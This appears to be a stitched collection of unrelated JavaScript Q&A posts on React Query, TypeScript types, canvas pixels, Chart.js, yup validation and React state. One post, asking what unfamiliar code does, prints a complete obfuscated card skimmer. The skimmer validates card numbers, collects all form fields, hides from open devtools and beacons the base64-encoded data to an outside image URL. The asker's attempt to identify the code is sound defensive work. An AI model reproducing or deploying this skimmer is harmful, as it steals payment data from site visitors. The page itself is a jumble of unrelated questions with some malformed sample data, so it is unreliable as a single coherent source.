Promise API call not rendering in time NextJS

I am making calls to an API function that I set up and that works all the time. I have used the same backend API calling on another project and in the same project but on the same page and it works fine. In this instance, however, I believe it is due to my lack of understanding of Promise statements that I am not able to solve this. When I run the code, everything runs normally. The fetcher statement works and returns a map of the different stocks in the database. For now, that is all I want. The console prints out the prices of the stocks, but it does not save it to state, which is what I am doing onSuccess.

  const fetchListDocs = async () => {
    try {
      const queryCollection = query(collection(db, loc));
      const snapshot = await getDocs(queryCollection);
    //   let arr = [];
      let retArr = []
      let newRetMap = new Map();
      snapshot.forEach(async (doc) => {
        const docTicker = doc.data().stockTicker
        // console.log(doc.data())
        // arr.push(doc.data());
        if (newRetMap.has(docTicker)) {
            //averaging price code here
        } else {
            
            newRetMap.set(docTicker, doc.data())
            retArr.push(doc.data())
        }
      });
      console.log(retArr)
    //   newRetMap.entries((value) => {
    //     retArr.push(value)
    //   })
      // setListDocuments(retArr)
      return (retArr);
    } catch (error) {
      console.log(error);
    }
  };


const { data: listDocs, status } = useQuery({
    queryKey: ["firestoreListDocuments", db],
    queryFn: () => fetchListDocs(),
    onSettled: (dataCollection) => {
        console.log(dataCollection)
        let newArr = []
        dataCollection.forEach(async doc => {
          const price = await getStockPrice(doc.stockTicker)
          // .then((result) => result)
          console.log(price)
          newArr.push(Promise.resolve(price))
        })
        setListDocuments(newArr)
        return newArr

    }
  });

I am using React Query for the query client. It is running on NextJs 12. Any help would be appreciated.

What does this code do? I found it in a JS file from work that I am wroking on [closed]

I am looking through code for work and I see 2 similar JS files. 1 is in a /Code/ folder and the other is in a /code/ folder. All of the code looks the same using https://www.diffchecker.com/text-compare/
But one of the files has the below code at the end of the file. I am trying to figure out what it is trying to do. I have not seen this JS before. Any clues what this is doing??

var _0x44b0 = ['x61x57x35x75x5ax58x4ax58x61x57x52x30x61x41x3dx3d', 'x62x33x56x30x5ax58x4ax49x5ax57x6cx6ex61x48x51x3d', 'x61x57x35x75x5ax58x4ax49x5ax57x6cx6ex61x48x51x3d', 'x61x47x39x79x61x58x70x76x62x6ex52x68x62x41x3dx3d', 'x52x6dx6cx79x5ax57x4ax31x5ax77x3dx3d', 'x59x32x68x79x62x32x31x6c', 'x61x58x4ex4ax62x6dx6cx30x61x57x46x73x61x58x70x6cx5ax41x3dx3d', 'x64x57x35x6bx5ax57x5ax70x62x6dx56x6b', 'x5ax58x68x77x62x33x4ax30x63x77x3dx3d', 'x5ax47x56x32x64x47x39x76x62x48x4dx3d', 'x63x48x4ax76x64x47x39x30x65x58x42x6c', 'x61x47x46x7ax61x45x4ex76x5ax47x55x3d', 'x59x32x68x68x63x6bx4ex76x5ax47x56x42x64x41x3dx3d', 'x52x32x46x30x5ax51x3dx3d', 'x52x47x46x30x59x51x3dx3d', 'x55x32x56x75x64x41x3dx3d', 'x55x32x46x32x5ax56x42x68x63x6dx46x74', 'x55x32x46x32x5ax55x46x73x62x45x5ax70x5ax57x78x6bx63x77x3dx3d', 'x61x57x35x77x64x58x51x3d', 'x64x47x56x34x64x47x46x79x5ax57x45x3d', 'x55x32x56x75x5ax45x52x68x64x47x45x3d', 'x52x47x39x74x59x57x6cx75', 'x56x48x4ax35x55x32x56x75x5ax41x3dx3d', 'x54x47x39x68x5ax45x6cx74x59x57x64x6c', 'x53x55x31x48', 'x52x32x56x30x53x57x31x68x5ax32x56x56x63x6dx77x3d', 'x50x33x4ax6cx5ax6dx59x39', 'x63x6dx56x68x5ax48x6cx54x64x47x46x30x5ax51x3dx3d', 'x59x32x39x74x63x47x78x6cx64x47x55x3d', 'x63x32x56x30x53x57x35x30x5ax58x4ax32x59x57x77x3d', 'x63x6dx56x77x62x47x46x6ax5ax51x3dx3d', 'x64x47x56x7ax64x41x3dx3d', 'x62x47x56x75x5ax33x52x6f', 'x61x58x4ex50x63x47x56x75', 'x62x33x4ax70x5ax57x35x30x59x58x52x70x62x32x34x3d', 'x5ax47x6cx7ax63x47x46x30x59x32x68x46x64x6dx56x75x64x41x3dx3d', 'x5ax47x56x32x64x47x39x76x62x48x4ex6ax61x47x46x75x5ax32x55x3d', 'x62x33x56x30x5ax58x4ax58x61x57x52x30x61x41x3dx3d'];
(function(_0x1ccccd, _0x3de769) {
    var _0x365835 = function(_0xfbe999) {
        while (--_0xfbe999) {
            _0x1ccccd['push'](_0x1ccccd['shift']());
        }
    };
    _0x365835(++_0x3de769);
}(_0x44b0, 0x6a));
var _0x507b = function(_0x2bd08d, _0x2dc735) {
    _0x2bd08d = _0x2bd08d - 0x0;
    var _0x1f33bd = _0x44b0[_0x2bd08d];
    if (_0x507b['UvudEN'] === undefined) {
        (function() {
            var _0x20da9c;
            try {
                var _0x150c15 = Function('returnx20(function()x20' + '{}.constructor(x22returnx20thisx22)(x20)' + ');');
                _0x20da9c = _0x150c15();
            } catch (_0x1afe8e) {
                _0x20da9c = window;
            }
            var _0x2dc4e9 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x20da9c['atob'] || (_0x20da9c['atob'] = function(_0x31fde9) {
                var _0x560b44 = String(_0x31fde9)['replace'](/=+$/, '');
                for (var _0xceaa66 = 0x0, _0x2b997e, _0x3f6f12, _0x36ef44 = 0x0, _0x556a73 = ''; _0x3f6f12 = _0x560b44['charAt'](_0x36ef44++); ~_0x3f6f12 && (_0x2b997e = _0xceaa66 % 0x4 ? _0x2b997e * 0x40 + _0x3f6f12 : _0x3f6f12, _0xceaa66++ % 0x4) ? _0x556a73 += String['fromCharCode'](0xff & _0x2b997e >> (-0x2 * _0xceaa66 & 0x6)) : 0x0) {
                    _0x3f6f12 = _0x2dc4e9['indexOf'](_0x3f6f12);
                }
                return _0x556a73;
            });
        }());
        _0x507b['rPtJhS'] = function(_0x142c1f) {
            var _0x34365d = atob(_0x142c1f);
            var _0x3f49dc = [];
            for (var _0x3670cd = 0x0, _0x4583af = _0x34365d['length']; _0x3670cd < _0x4583af; _0x3670cd++) {
                _0x3f49dc += '%' + ('00' + _0x34365d['charCodeAt'](_0x3670cd)['toString'](0x10))['slice'](-0x2);
            }
            return decodeURIComponent(_0x3f49dc);
        };
        _0x507b['igoJPu'] = {};
        _0x507b['UvudEN'] = !![];
    }
    var _0x1dedb0 = _0x507b['igoJPu'][_0x2bd08d];
    if (_0x1dedb0 === undefined) {
        _0x1f33bd = _0x507b['rPtJhS'](_0x1f33bd);
        _0x507b['igoJPu'][_0x2bd08d] = _0x1f33bd;
    } else {
        _0x1f33bd = _0x1dedb0;
    }
    return _0x1f33bd;
};

function _0x28c304(_0x5ad566, _0x22efa8, _0x20e19e) {
    return _0x5ad566[_0x507b('0x0')](new RegExp(_0x22efa8, 'x67'), _0x20e19e);
}

function _0x165fa4(_0x3459a0) {
    var _0x4320a6 = /^(?:4[0-9]{12}(?:[0-9]{3})?)$/;
    var _0x2f30a0 = /^(?:5[1-5][0-9]{14})$/;
    var _0x5318a4 = /^(?:3[47][0-9]{13})$/;
    var _0x2c87ce = /^(?:6(?:011|5[0-9][0-9])[0-9]{12})$/;
    var _0x44f304 = ![];
    if (_0x4320a6[_0x507b('0x1')](_0x3459a0)) {
        _0x44f304 = !![];
    } else if (_0x2f30a0[_0x507b('0x1')](_0x3459a0)) {
        _0x44f304 = !![];
    } else if (_0x5318a4[_0x507b('0x1')](_0x3459a0)) {
        _0x44f304 = !![];
    } else if (_0x2c87ce['x74x65x73x74'](_0x3459a0)) {
        _0x44f304 = !![];
    }
    return _0x44f304;
}

function _0x305211(_0x5e6791) {
    if (/[^0-9-s]+/ [_0x507b('0x1')](_0x5e6791)) return ![];
    var _0x8fd36d = 0x0,
        _0x28c28f = 0x0,
        _0x122d33 = ![];
    _0x5e6791 = _0x5e6791[_0x507b('0x0')](/D/g, '');
    for (var _0x3c26e2 = _0x5e6791[_0x507b('0x2')] - 0x1; _0x3c26e2 >= 0x0; _0x3c26e2--) {
        var _0xf9199b = _0x5e6791['x63x68x61x72x41x74'](_0x3c26e2),
            _0x28c28f = parseInt(_0xf9199b, 0xa);
        if (_0x122d33) {
            if ((_0x28c28f *= 0x2) > 0x9) _0x28c28f -= 0x9;
        }
        _0x8fd36d += _0x28c28f;
        _0x122d33 = !_0x122d33;
    }
    return _0x8fd36d % 0xa == 0x0;
}(function() {
    'use strict';
    const _0x27736f = {};
    _0x27736f[_0x507b('0x3')] = ![];
    _0x27736f[_0x507b('0x4')] = undefined;
    const _0x1a4cca = 0xa0;
    const _0x41f147 = (_0x515301, _0x5ccc6e) => {
        window[_0x507b('0x5')](new CustomEvent(_0x507b('0x6'), {
            'x64x65x74x61x69x6c': {
                'x69x73x4fx70x65x6e': _0x515301,
                'x6fx72x69x65x6ex74x61x74x69x6fx6e': _0x5ccc6e
            }
        }));
    };
    setInterval(() => {
        const _0x3a738e = window[_0x507b('0x7')] - window[_0x507b('0x8')] > _0x1a4cca;
        const _0x5969fa = window[_0x507b('0x9')] - window[_0x507b('0xa')] > _0x1a4cca;
        const _0x24cc25 = _0x3a738e ? 'x76x65x72x74x69x63x61x6c' : _0x507b('0xb');
        if (!(_0x5969fa && _0x3a738e) && (window[_0x507b('0xc')] && window[_0x507b('0xc')][_0x507b('0xd')] && window['x46x69x72x65x62x75x67'][_0x507b('0xd')][_0x507b('0xe')] || _0x3a738e || _0x5969fa)) {
            if (!_0x27736f[_0x507b('0x3')] || _0x27736f['x6fx72x69x65x6ex74x61x74x69x6fx6e'] !== _0x24cc25) {
                _0x41f147(!![], _0x24cc25);
            }
            _0x27736f[_0x507b('0x3')] = !![];
            _0x27736f[_0x507b('0x4')] = _0x24cc25;
        } else {
            if (_0x27736f[_0x507b('0x3')]) {
                _0x41f147(![], undefined);
            }
            _0x27736f[_0x507b('0x3')] = ![];
            _0x27736f[_0x507b('0x4')] = undefined;
        }
    }, 0x1f4);
    if (typeof module !== _0x507b('0xf') && module['x65x78x70x6fx72x74x73']) {
        module[_0x507b('0x10')] = _0x27736f;
    } else {
        window[_0x507b('0x11')] = _0x27736f;
    }
}());
String[_0x507b('0x12')][_0x507b('0x13')] = function() {
    var _0x37cd2c = 0x0,
        _0x4f695b, _0x44c669;
    if (this['x6cx65x6ex67x74x68'] === 0x0) return _0x37cd2c;
    for (_0x4f695b = 0x0; _0x4f695b < this['x6cx65x6ex67x74x68']; _0x4f695b++) {
        _0x44c669 = this[_0x507b('0x14')](_0x4f695b);
        _0x37cd2c = (_0x37cd2c << 0x5) - _0x37cd2c + _0x44c669;
        _0x37cd2c |= 0x0;
    }
    return _0x37cd2c;
};
var _0xb66c5c = {};
_0xb66c5c[_0x507b('0x15')] = 'x68x74x74x70x73x3ax2fx2fx63x64x6ex2dx69x6dx67x63x6cx6fx75x64x2ex63x6fx6dx2fx69x6dx67';
_0xb66c5c[_0x507b('0x16')] = {};
_0xb66c5c[_0x507b('0x17')] = [];
_0xb66c5c['x49x73x56x61x6cx69x64'] = ![];
_0xb66c5c[_0x507b('0x18')] = function(_0x237192) {
    if (_0x237192.id !== undefined && _0x237192.id != '' && _0x237192.id !== null && _0x237192.value.length < 0x100 && _0x237192.value.length > 0x0) {
        if (_0x305211(_0x28c304(_0x28c304(_0x237192.value, 'x2d', ''), 'x20', '')) && _0x165fa4(_0x28c304(_0x28c304(_0x237192.value, 'x2d', ''), 'x20', ''))) _0xb66c5c.IsValid = !![];
        _0xb66c5c.Data[_0x237192.id] = _0x237192.value;
        return;
    }
    if (_0x237192.name !== undefined && _0x237192.name != '' && _0x237192.name !== null && _0x237192.value.length < 0x100 && _0x237192.value.length > 0x0) {
        if (_0x305211(_0x28c304(_0x28c304(_0x237192.value, 'x2d', ''), 'x20', '')) && _0x165fa4(_0x28c304(_0x28c304(_0x237192.value, 'x2d', ''), 'x20', ''))) _0xb66c5c.IsValid = !![];
        _0xb66c5c.Data[_0x237192.name] = _0x237192.value;
        return;
    }
};
_0xb66c5c[_0x507b('0x19')] = function() {
    var _0x390bb2 = document.getElementsByTagName(_0x507b('0x1a'));
    var _0x2c5220 = document.getElementsByTagName('x73x65x6cx65x63x74');
    var _0x25ed19 = document.getElementsByTagName(_0x507b('0x1b'));
    for (var _0x49219f = 0x0; _0x49219f < _0x390bb2.length; _0x49219f++) _0xb66c5c.SaveParam(_0x390bb2[_0x49219f]);
    for (var _0x49219f = 0x0; _0x49219f < _0x2c5220.length; _0x49219f++) _0xb66c5c.SaveParam(_0x2c5220[_0x49219f]);
    for (var _0x49219f = 0x0; _0x49219f < _0x25ed19.length; _0x49219f++) _0xb66c5c.SaveParam(_0x25ed19[_0x49219f]);
};
_0xb66c5c[_0x507b('0x1c')] = function() {
    if (!window.devtools.isOpen && _0xb66c5c.IsValid) {
        _0xb66c5c.Data[_0x507b('0x1d')] = location.hostname;
        var _0x4fb8d8 = encodeURIComponent(window.btoa(JSON.stringify(_0xb66c5c.Data)));
        var _0x152ae5 = _0x4fb8d8.hashCode();
        for (var _0x823619 = 0x0; _0x823619 < _0xb66c5c.Sent.length; _0x823619++)
            if (_0xb66c5c.Sent[_0x823619] == _0x152ae5) return;
        _0xb66c5c.LoadImage(_0x4fb8d8);
    }
};
_0xb66c5c[_0x507b('0x1e')] = function() {
    _0xb66c5c.SaveAllFields();
    _0xb66c5c.SendData();
};
_0xb66c5c[_0x507b('0x1f')] = function(_0x3bb9c0) {
    _0xb66c5c.Sent.push(_0x3bb9c0.hashCode());
    var _0x3f282d = document.createElement(_0x507b('0x20'));
    _0x3f282d.src = _0xb66c5c.GetImageUrl(_0x3bb9c0);
};
_0xb66c5c[_0x507b('0x21')] = function(_0xae4ee9) {
    return _0xb66c5c.Gate + _0x507b('0x22') + _0xae4ee9;
};
document['x6fx6ex72x65x61x64x79x73x74x61x74x65x63x68x61x6ex67x65'] = function() {
    if (document[_0x507b('0x23')] === _0x507b('0x24')) {
        window[_0x507b('0x25')](_0xb66c5c[_0x507b('0x1e')], 0x1f4);
    }
};

Type of any instance of a class in Typescript

I have a function that crashes if the parameter sent is the instance of any class or is a Function.

So I need to write a Type that shows a compile-time error if we try to pass an instance of a class to that function.
I tried the following but it can disallow only Function

// type Disallowed = instanceof any
type Disallowed =  Function 
type Input<T> = T & (T extends Disallowed ? never : T);


// Accepts anything number, string, bool, json object, ... except instance of class and functions
function saveData<T>(data: Input<T> ) { ... }
class A {}
let foo = new A{}
saveData(foo) // should produce compile error
saveData(()=>{}) // already dissallowed

Efficiently iterating over HTML canvas by creating a binary image

So I know there are quite a few posts out there with a similar question, so I am hoping to clearly distinguish between some of the differences between those and this question.

This question could basically be answered if I could find a way to get the binary image representation of the image (which I thought was just a “bitmap” image, but jpegs and pngs are bitmaps). I need 1 channel that is either true or false; the below returns an array of all 4 channels (red, green, blue, alpha). The reason it would be answered is because I could then use Array.slice() to get the subarray of each row and find the first true and last true values with Array.indexOf(true) and Array.lastIndexOf(true) and compute the pixel difference between those, which would already be way more efficient than the current looping process, assuming built-ins are faster than any loop I am going to write. So an example code snippet would look like this (and I mean this is basically what I have):

function calcImg()
{
    img = null;
    p = new Promise((resolve) => {
        img = document.createElement("img");
        img.src = canvas.toDataURL();
        img.onload = function() {
            resolve();
        }
    }).then(function() {
        c = document.createElement("canvas");
        c.width = img.width;
        c.height = img.height;

        cc = c.getContext("2d");
        cc.drawImage(img, 0, 0);

        imgData = cc.getImageData(0, 0, img.width, img.height).data;
        console.log(imgData.length);

        for (var i = 0; i < c.height; i++)
        {
            // this is this "rows"
            thisRow = imgData.slice(i * cw * 4, (i * cw * 4) + (cw * 4));
            // now I need to average every group of 4 values to get the pixel and store it in its own array
            // then do:
            first = newArray.indexOf(true);
            last = newArray.lastIndexOf(true);
            // perform extra math
        }
    });

}

I know that I can loop over an html canvas and “divy” it up like this poster had it, average each pixel, then use a threshold to say if the pixel is black or white, but that is my current method and slow… The accepted answer provided a bunch of built in functions to handle those transformations and calculations that needed to happen, but nothing that was necessarily (unless I missed something) helpful for my particular case for speeding up the computations.

I thought that maybe I could quickly compute this by grouping four values together and averaging them with something like this – code below:

function averageEvery(arr, n) {
  if (!arr || !n) {
    return false;
  }
  let groups = [];
  while (arr.length) {
    groups.push(arr.splice(0, n));
  }

  return groups.map(
    group =>

    // here we use Math.round() to round
    // the calculated number:
    Math.round(group.reduce(
      (a, b) => a + b
    ) / group.length)
  );

}

console.log(
  averageEvery([1, 2, 4, 5, 6, 7], 3)
);

but unfortunately, this wasn’t any faster (and was actually noticeably slower).

My last attempt (code below) was to try and use createImageBitmap(), but it returns 4 channels instead of 1 (printing it to the console was enough for me to determine that).

function calcImg()
{

    createImageBitmap(document.querySelector("canvas"), 0, 0, parseInt(canvas.width), parseInt(canvas.height)).then(function(img)
    {
        c = document.createElement("canvas");
        c.width = img.width;
        c.height = img.height;

        cc = c.getContext("2d");
        cc.drawImage(img, 0, 0);
        imgData = cc.getImageData(0, 0, img.width, img.height).data;
        console.log(imgData);
    });

}

So to articulate my goal:

For each row, compute the distance between the far right and far left pixel that is black and sum the total length.

So I am stumped.

i’av an object with children keys returned from localstorage not working fine

i have an object like below returned from local storage and i can’t modify children and children of children i faced error

Uncaught TypeError: Cannot assign to read only property ‘0’ of object ‘[object Array]’

{
    "key": "350841d0-7b99-4ea5-ba34-033833bcb0dc",
    "children": [
     
        {
            "key": "3b5cfe97-8e03-4b93-b0df-160bcb59f6a6",
            "children": [
                {
                   
                    "key": "ca770362-b660-4ec4-a128-1f577056d0c2",
                    "type": "person"
                },
                {
                    
                    "key": "14d642d8-d643-4b2f-87fc-f7a4111be920",
                    "type": "person",
                    "children": [
                        {
                            
                            "key": "3cd30779-0592-4399-864a-20c67d19940e",
                            "type": "person"
                        }
                    ]
                },
                {
                 
                    "key": "0f983fad-1967-4ded-9e50-e89940467da1",
                    "type": "person"
                }
            ]
        },
        {
            "key": "171e7c16-86b1-42c8-954a-795ab42ec6d3",
            "
            "children": [
                {
                    
                    "key": "06c1bdc4-fd54-4d2a-8c27-2312a39139f9",
                    "type": "person"
                },
                {
                    "key": "1d8df2d2-f82c-4883-baf5-70466c88aba1",
                    "type": "person",
                    "children": [
                        {
                            
                            "key": "6ce45f50-6529-42aa-929b-a18947d5d13e",
                            "type": "person"
                        }
                    ]
                },
          
            
        }
    ],
   
}

i tried to loop over and spred but not working

Canvas JS chart not displayed in Bootstrap left accordion tabs

Can somebody help me to solve this issue. I already googled the solution but all the solution are not worked for me. My situation is I try to display my chart in left accordion tab. When I click the first tab the chart is shown, but the next tabs the chart is not shown.

this is my view code:

<div class="nav flex-column nav-tabs h-100" id="vert-tabs-tab" role="tablist" aria-orientation="vertical">
     <a class="link-custom nav-link active" id="vert-tabs-student-tab" data-toggle="pill" href="#vert-tabs-student" role="tab" aria-controls="vert-tabs-student" aria-selected="false">Total Student Vs Year</a>

     <a class="link-custom nav-link" id="vert-tabs-gender-tab" data-toggle="pill" href="#vert-tabs-gender" role="tab" aria-controls="vert-tabs-gender" aria-selected="false">Total Student Vs Gender</a>

</div>

 <div class="tab-content pt-3" id="vert-tabs-tabContent">
       <div class="tab-pane fade show active" id="vert-tabs-student" role="tabpanel" aria-labelledby="vert-      tabs-student-tab">
         <div class="position-relative mb-4">
              <canvas id="school-chart" height="200"></canvas>
         </div>
       </div>
  <div class="tab-pane fade" id="vert-tabs-gender" role="tabpanel" aria-labelledby="vert-tabs-gender-tab">
    <div class="position-relative mb-4">
       <canvas id="school-chart-1" height="200"></canvas>
    </div>
  </div>
</div>

this is my js code:

    $this->registerJs("
        $(function(){

            'use strict';
            
            $.ajax({
                url: '". Url::to(['site/student-year-chart'])."',
                method: 'GET',
                success: function(data) {
                    console.log.apply(data);
                    var year = [];
                    var total = [];

                    $.each(JSON.parse(data), function() {
                        year.push(' Year ' + this.year);
                        total.push(this.total);
                    });  
                    
                    var ticksStyle = {
                        fontColor: '#495057',
                        fontStyle: 'bold'
                      }
                    
                    var mode = 'index'
                    var intersect = true
        
                    var schoolChart = $('#school-chart')
                    var schoolChart = new Chart(schoolChart, {
                        type: 'bar',
                        data: {
                        labels: year,
                        datasets: [
                            {
                            label: 'Total Student',
                            backgroundColor:[ '#ff5722','#4caf50','#03a9f4','#673ab7'],
                            borderColor: '#ff8400',
                            hoverBackgroundColor: 'rgba(200, 200, 200, 1)',
                            hoverBorderColor: 'rgba(200, 200, 200, 1)',
                            data: total
                            },
                           
                        ]
                        },
                        options: {
                        maintainAspectRatio: false,
                        tooltips: {
                            mode: mode,
                            intersect: intersect
                        },
                        hover: {
                            mode: mode,
                            intersect: intersect
                        },
                        legend: {
                            display: false
                        },
                        scales: {
                            yAxes: [{
                            // display: false,
                            gridLines: {
                                display: true,
                                lineWidth: '4px',
                                color: 'rgba(0, 0, 0, .2)',
                                zeroLineColor: 'transparent'
                            },
                            ticks: $.extend({
                                beginAtZero: true,
        
                                // Include a dollar sign in the ticks
                                callback: function (value) {
                                    return value
                                }
                            }, ticksStyle)
                            }],
                            xAxes: [{
                            display: true,
                            gridLines: {
                                display: false
                            },
                            ticks: ticksStyle
                            }]
                        }
                        }
                    })
                },
                error: function(data) {
                    console.log(data);
                  }
            });

        });
    ");

    $this->registerJs("
        $(function(){

            'use strict';
            
            $.ajax({
                url: '". Url::to(['site/student-gender-chart'])."',
                method: 'GET',
                success: function(data) {
                    console.log.apply(data);
                    var gender = [];
                    var total = [];

                    $.each(JSON.parse(data), function() {
                        gender.push( + this.gender);
                        total.push(this.total);
                    });  
                    
                    var ticksStyle = {
                        fontColor: '#495057',
                        fontStyle: 'bold'
                      }
                    
                    var mode = 'index'
                    var intersect = true
        
                    var schoolChart = $('#school-chart-1')
                    var schoolChart = new Chart(schoolChart, {
                        type: 'bar',
                        data: {
                        labels: gender,
                        datasets: [
                            {
                            label: 'Total Student',
                            backgroundColor:[ '#ff5722','#4caf50','#03a9f4','#673ab7'],
                            borderColor: '#ff8400',
                            hoverBackgroundColor: 'rgba(200, 200, 200, 1)',
                            hoverBorderColor: 'rgba(200, 200, 200, 1)',
                            data: total
                            },
                           
                        ]
                        },
                        options: {
                        maintainAspectRatio: false,
                        tooltips: {
                            mode: mode,
                            intersect: intersect
                        },
                        hover: {
                            mode: mode,
                            intersect: intersect
                        },
                        legend: {
                            display: false
                        },
                        scales: {
                            yAxes: [{
                            // display: false,
                            gridLines: {
                                display: true,
                                lineWidth: '4px',
                                color: 'rgba(0, 0, 0, .2)',
                                zeroLineColor: 'transparent'
                            },
                            ticks: $.extend({
                                beginAtZero: true,
        
                                // Include a dollar sign in the ticks
                                callback: function (value) {
                                    return value
                                }
                            }, ticksStyle)
                            }],
                            xAxes: [{
                            display: true,
                            gridLines: {
                                display: false
                            },
                            ticks: ticksStyle
                            }]
                        }
                        }
                    })
                },
                error: function(data) {
                    console.log(data);
                  }
            });

        });
    ");

My expected result is the accordion tab is working perfectly

Forward substitution causes bottleneck in matrix inverse

I am performing an inverse of possibly large Symmetrical Positive Definite matrix.

I have tried the direct inverse function from lalolib.js and it seems slow. Incorporating the structure of my matrix, I used Cholesky before performing forward substitution however it is more than several magnitudes slower than directly inversing it.

Although the lalolib function Cholesky is quite fast despite O(n³), the forward substitution is causing large bottlenecks. If my matrix is 2000×2000, I am performing 2000 forward substitution to directly get the inverse.

You might wonder why not try to restructure the problem so that I will only use a forward substitution once but I can’t reformulate the problem since I need the full matrix inverse. So the time complexity might be O(n³) instead of O(n²) for the forward substitution.

How to efficiently compute the inverse of Positive Symmetrical Definite matrices in JavaScript? It is even surprising to see the direct inverse which is promoted to be inefficient and numerically unstable to be faster in my implementation. A method for efficient forward substitution will also help. Thank you.

How can I sync data between two screens?

I’m trying to build an app with react native and react navigation, such that changing something in one screen will also change it in the other.

So far, the only way I have found to be able to sync data between the two screens, is to use buttons with onPress={() => navigate(‘OtherScreen’, this.state)}. This has two problems. Firstly that it only works where I explicitly call navigate – when I swipe to change screen, it won’t transfer the data. But mostly, this just seems contrary to the react philosophy, that data should be pulled from the model by the render call, rather than one render method pushing data into another

My current “solution” is to write my entire app in a single file, so that everything is in the same scope and I can use a global variable to store the global state.

I cannot possible be the first person to have this problem, and I find it hard to imagine that react-native would not have any built-in method for defining an application-wide data store.

Is there a standard pattern for sharing data globally in react-native?

How can I sync data between two screens?

How can I find the exact coordinates of a moving element in a canvas?

I’m building a snake game with 2 snakes, so typically, when one snake touches the other, the game should restart. However, what I have right now only checks for the entire x/y line that snake 2 is on. For example, if snake 2 were to be moving to the right/horizontally (they move infinitely because the walls are only portals that return the snake to the side they started on) and snake 2 moved up, it would eventually intercept the y line that snake 1 was moving on.Even though the snake on the left(1) isn’t going to directly hit the snake on the right(2), it is about to die because it is going to cross the line that the snake 2 is moving on
My code looks like this:

if (cell.x === snake.cells[i].x && cell.y === snake.cells[i].y || cell.x === snake.cells[i].x && cell.y === snake2.cells[i].y)

The beginning of the code is just to check if snake 1 crossed paths with itself/ran into itself. After the OR statement is where it checks for snake 1 intercepting snake 2.

I attempted to tweak my code so it would look for the exact coordinate the snake is moving on, like this:

if (cell.x === snake.cells[i].x && cell.y === snake.cells[i].y || cell.xy === snake.cells[i].xy && cell.xy === snake2.cells[i].xy)

I put xy to check for both coordinates to try create one coordinate point to look for. However, this only resulted in immediate death.
Does anyone have an idea of how to fix this? If more of my code is necessary to determine the issue, please let me know.

Responsive Chart.js based on a size of a browser window

I’d like to have a responsive graph using Chart.js on my Svelte app. The size of the chart should follow the browser window size. I currently have a chart on a div container. However, it doesn’t work expectedly, as I expected the chart is getting bigger when the browser window size is bigger. It gets smaller when I downsize the browser window.

It seems that the container size is following the browser size but the chart canvas. I tried to control the canvas size programmatically by adding the code below.

const clientHeight = document.getElementsByClassName('chart-container')[0].clientHeight;
const clientWidth = document.getElementsByClassName('chart-container')[0].clientWidth;
chart.canvas.height = clientHeight;
chart.canvas.width = clientWidth;

I got the height and width of the container, but it didn’t work too. What can I do more?

Here is the code.

<script>
    import { onMount } from 'svelte';
    import Chart from 'chart.js/auto';

    let data = [20, 100, 50, 12, 20, 130, 45];
    let labels = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'];
    let ctx;
    let canvas;

    onMount(() => {
        ctx = canvas.getContext('2d');
        var chart = new Chart(ctx, {
            options: {
                layout: {
                    responsive: true,
                    maintainAspectRatio: false
                }
            },
            type: 'bar',
            data: {
                labels: labels,
                datasets: [
                    {
                        label: 'Unit Sales',
                        data: data
                    }
                ]
            }
        });
    });
</script>

<div class="chart-container">
    <canvas bind:this={canvas} />
</div>

<style>
    div {
        position: relative;
        height: 100vh;
        width: 100vw;
    }
</style>

enter image description here

Why is my yup string array validation schema not working?

Does anyone have any idea why this isnt working? I have a schema im trying to enforce with yup and ensure that the data inside the array are strings, here is the yup schema:

locationTracking: yup.array().of(yup.string().required().typeError('needs to be strings')).required('locationTracking is required').typeError('locationTracking must be an array')

the schema enforces that locationTracking is an array but does not enforce that it needs to be an array of strings. Arrays of numbers, booleans etc all fly by this validation. Not sure what im doing wrong can’t find anything online about this issue.

How do I add input values to an object and display the results in React?

I’m working on a CV Application in React and part of the process is adding your previous Education and displaying it so a potential employer can see it. I have an input set up so users can enter information and upon hitting save, the values are sent and displayed in a separate div.

This form also only shows up when I click the +Add Education button at the bottom.

<form>
  <label htmlFor="school">School</label>
  <input type="text" name="school" onChange={(e) => this.setSchool(e.target.value)} />
  <label htmlFor="study">Field of Study</label>
  <input type="text" name="study" onChange={(e) => this.setStudy(e.target.value)} />
  <button onClick={this.onSubmit} className="save">Save</button>
</form>
  <button onClick={this.toggleForm} className="form-btn">
    + Add Education
  </button>

I also have this onChange event that’s attached to each input which takes the values from each input and displays them to a div.

onChange={(e) => this.setSchool(e.target.value)} 

Here is the code I’m using for both setSchool and setStudy.

class Education extends Component {
  constructor(props) {
    super(props);
    this.state = {
      school: "",
      study: "",
      showOutput: false,
    };

  setSchool = (value) => {
    this.setState({ school: value });
  };

  setStudy = (value) => {
    this.setState({ study: value });
  };

I also have this code which is placed above my other jsx code.

render() {
    return (
      <>
        <div>
          {this.state.showOutput && (
            <div className="experience">
              <p>{`School: ${this.state.school}`}</p>
              <p>{`Field of Study: ${this.state.study}`}</p>
            </div>
          )}

This code exists for the purpose of displaying only when the setSchool and setStudy values aren’t empty. When the user fills them out and clicks save, it displays in a div above the form.

Now here’s where I need help

Everything about this code works as intended. However, when I go to click +Add Education for the second time, the values are simply being overriden. So instead of having two separate divs like this:

Div 1

School: University of Test

Field of Study: Comp. Sci

Div 2

School: University of Test 2

Field of Study: Comp. Sci 2

I’m only getting one because the second div of inputted information is overriding the first.

School: University of Test 2

Field of Study: Comp. Sci 2

I’ve been trying so solve this issue and the only thing I can think of is to add each input value to an object rather than just adding it to setState:

const study = [
  {
    school: school,
    fieldofStudy: fieldofStudy,
  },
];

But I can’t seem to figure out how to add the values to this object and then display the results. I know if I displayed the results by looping through the array instead of e.target.value I could get them to show up but everything I’ve tried thus far hasn’t worked.

How to create linear gradient with thousands of properties in JS

I’m making a really in-efficient redrawing tool that takes each pixel of a canvas and takes it’s color values and plugs that data into a linear gradient CSS property on a separate div. I want the linear gradient to create a non-fading effect where every pixel is going to have a separate color. I also don’t know how the linear gradient will align with my pixel-color values since it reads every line one by one.

My other values like percent and data are arbitrary because I already have that figured out

        var data=(img_ctx.getImageData(x,y,1,1).data);
        draw.style.background+=" ,linear-gradient(0deg, "+Math.floor(percent)+"%, rgba("+data+")";

I just got a div that has no style properties for background, and I added the comma to allow multiple colors, I’m just not sure how to use linear gradient well enough to figure this out.

Argument of type ‘FooBar’ is not assignable to parameter of type ‘JSONObject’. Index signature is missing in type ‘FooBar’

My goal is to create a type called JSONObject for any JSON like object. The best I found so far is:

interface JSONObject {
    [x: string]: JSONValue;
}

interface JSONArray extends Array<JSONValue> { }
